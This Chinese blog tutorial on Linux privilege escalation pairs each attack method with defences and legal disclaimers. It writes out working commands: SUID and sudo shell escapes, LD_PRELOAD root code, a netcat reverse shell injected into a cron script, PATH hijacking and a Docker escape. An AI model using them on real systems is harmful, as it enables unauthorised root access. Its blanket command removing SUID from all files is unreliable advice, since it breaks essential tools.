在Linux系统中,提权(Privilege Escalation)指用户从普通权限提升至更高权限(如root)的过程。必须强调:未经授权的提权属于违法行为,本文仅用于安全研究、渗透测试或系统防御学习,操作需在合法授权环境下进行。
在尝试提权前,需全面收集系统信息:
- 系统版本
uname -a # 内核版本 cat /etc/os-release # 发行版信息
- 用户与权限
id # 当前用户权限 sudo -l # 检查可用的sudo命令 cat /etc/passwd # 用户列表
- 敏感文件检查
find / -perm -4000 -type f 2>/dev/null # 查找SUID文件 find / -writable 2>/dev/null # 全局可写文件 crontab -l # 计划任务
常见提权方法及防御
内核漏洞提权
- 原理:利用内核未修复的漏洞(如Dirty Pipe、Dirty COW)。
- 步骤:
# 1. 识别漏洞 searchsploit "Linux Kernel 5.8" # 搜索漏洞库 # 2. 编译并执行EXP(需上传) gcc exploit.c -o exploit && ./exploit
- 防御:定期更新内核(
apt upgrade linux-image
)。
SUID/SGID滥用
- 原理:SUID文件以所有者权限运行(如
/bin/passwd
)。 - 利用步骤:
# 查找危险SUID文件(如find、vim、bash) find / -perm -u=s -type f 2>/dev/null # 利用find提权示例: touch /tmp/root_shell find /tmp/root_shell -exec /bin/sh \;
- 防御:限制SUID文件(
chmod u-s /path/to/file
)。
Sudo配置漏洞
- 原理:
/etc/sudoers
配置错误允许执行危险命令。 - 利用示例:
# 若允许sudo执行vim: sudo vim -c ':!/bin/sh' # 若允许sudo执行环境变量(env_keep+LD_PRELOAD): echo 'int main(){setgid(0);setuid(0);system("/bin/sh");}' > /tmp/privesc.c gcc -fPIC -shared -o /tmp/privesc.so /tmp/privesc.c sudo LD_PRELOAD=/tmp/privesc.so <允许的命令>
- 防御:审计sudo规则(
visudo
),避免通配符滥用。
计划任务(Cron Jobs)
- 原理:利用全局可写的计划任务脚本。
- 步骤:
# 1. 查找可写Cron任务 ls -la /etc/cron* /var/spool/cron # 2. 向脚本注入反向Shell echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f" >> /path/to/writable_script.sh
- 防御:限制Cron文件权限(
chmod 600
),避免路径劫持。
环境变量劫持(PATH)
- 原理:劫持PATH中的程序路径。
- 示例:
# 若程序调用相对命令(如"service") echo "/bin/sh" > /tmp/service chmod +x /tmp/service export PATH=/tmp:$PATH # 等待SUID程序调用"service"
- 防御:程序使用绝对路径,用户PATH规范化。
服务提权(Systemd/Docker)
- 原理:滥用服务权限或容器逃逸。
- 方法:
- 服务配置错误:修改可写的服务文件(
/etc/systemd/system/
),重启后生效。 - Docker逃逸:若在容器内且以
--privileged
运行,尝试挂载宿主机磁盘:mkdir /mnt/host mount /dev/sda1 /mnt/host # 挂载宿主机根目录 chroot /mnt/host /bin/bash
- 服务配置错误:修改可写的服务文件(
- 防御:限制服务文件权限,避免容器特权模式。
自动化工具辅助
- 信息收集:
- LinPEAS:自动扫描常见提权路径。
- LinEnum:快速检测系统配置风险。
- 漏洞利用:
- Linux Exploit Suggester:匹配内核漏洞。
防御建议
- 最小权限原则:用户和服务按需分配权限。
- 定期更新:及时修补内核及软件(
apt update && apt upgrade
)。 - 审计配置:
- 清理无用SUID文件:
find / -perm -4000 -exec chmod u-s {} \;
- 限制sudo权限:
visudo
中移除不必要的NOPASSWD
。
- 清理无用SUID文件:
- 监控日志:分析
/var/log/auth.log
和/var/log/syslog
。
法律与道德声明
- 合法授权:提权操作仅限渗透测试或自有系统,严禁非法入侵。
- 风险自担:未经授权的提权可能导致法律诉讼及系统崩溃。
- 防御优先:本文旨在帮助管理员加固系统,非攻击教程。
引用说明:
本文参考了OWASP权限提升指南、Linux手册页及GTFOBins(SUID利用库),工具来源GitHub官方仓库,遵循各自开源协议。
原创文章,发布者:酷番叔,转转请注明出处:https://cloud.kd.cn/ask/4479.html